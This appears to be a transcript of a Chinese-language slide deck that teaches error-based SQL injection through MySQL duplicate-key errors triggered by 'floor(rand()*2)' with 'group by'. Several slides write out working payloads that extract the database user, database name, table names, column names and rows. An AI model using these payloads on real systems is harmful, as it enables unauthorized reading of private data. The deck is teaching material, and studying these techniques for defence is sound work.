sql injection duplicate error principle

21
SQL Injection語句原理淺析 [email protected]

Upload: hackstuff

Post on 28-Jul-2015

909 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: SQL injection duplicate error principle

SQL Injection語句原理淺析

[email protected]

Page 2: SQL injection duplicate error principle

I am nobody

● Vance Lin● A php programer● Interest in web security● Hackstuff member

Page 3: SQL injection duplicate error principle

因為時間有限

所以請先聽我講一個故事

Page 4: SQL injection duplicate error principle

好的,故事是這樣的

Page 5: SQL injection duplicate error principle
Page 6: SQL injection duplicate error principle

這時候...身為初心者的小明就只好選擇放棄了...

Page 7: SQL injection duplicate error principle

但是

你今天來到這裡,怎麼還可以跟小明一樣就這樣放棄了呢?

Page 8: SQL injection duplicate error principle

好的,故事結束了

想睡的可以開始睡了,後面都是原理很無聊

Page 9: SQL injection duplicate error principle

如來神掌第101式select count(*), concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a

select count(*), concat('~',(select user()),'~',

floor(rand()*2)) as a from information_schema.tables

group by a

Page 10: SQL injection duplicate error principle

大家可能沒有學過如來神掌

所以可能會比較不熟悉...1.concat2.floor3.rand4.group by

Page 11: SQL injection duplicate error principle

Concat

Page 12: SQL injection duplicate error principle

Floor

Page 13: SQL injection duplicate error principle

Rand

Page 14: SQL injection duplicate error principle

Group by

Page 15: SQL injection duplicate error principle

開始拆解

select count(*), concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a● select user(); 會得到目前連接資料庫的用戶名

○ 所以就是你想知道甚麼就在這邊塞甚麼 ex.database(),version()● rand() * 2; 會得到小於1或大於1的數字● floor(rand() * 2) 取得0或1● concat() 把前面幾條加在一起● from information_schema.tables 有較多的row,避免不會造成重複● select count(*) 加上這個就有機會造成duplicate group_key

Page 16: SQL injection duplicate error principle

結果

失敗的時候會出現

Page 17: SQL injection duplicate error principle

結果

成功的時候會出現

Page 18: SQL injection duplicate error principle

適用情況

小明已經跟你說了,就是在不能使用Union select的情況下

所以我們就換個(ㄗ)語(ㄕˋ)法再來一次

Page 19: SQL injection duplicate error principle

進階利用

● 查 database○ select count(*), concat('~',(select database()),'~', floor(rand()*2)) as a

from information_schema.tables group by a● 查 table name

○ select count(*),concat((select (select (SELECT distinct concat('~',table_name,'~') FROM information_schema.tables Where table_schema='db_name' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a

Page 20: SQL injection duplicate error principle

進階利用

● 查 column name○ select count(*),concat((select (select (SELECT distinct concat('~',

column_name,'~') FROM information_schema.columns Where table_schema='db_name' LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a

● 查 row○ select count(*),concat((select(select concat(concat('~',

column_name,'~'))) from db_name.table_name limit 1,1),floor(rand(0)*2)) as a from information_schema.tables group by a

Page 21: SQL injection duplicate error principle

Demo + Q&A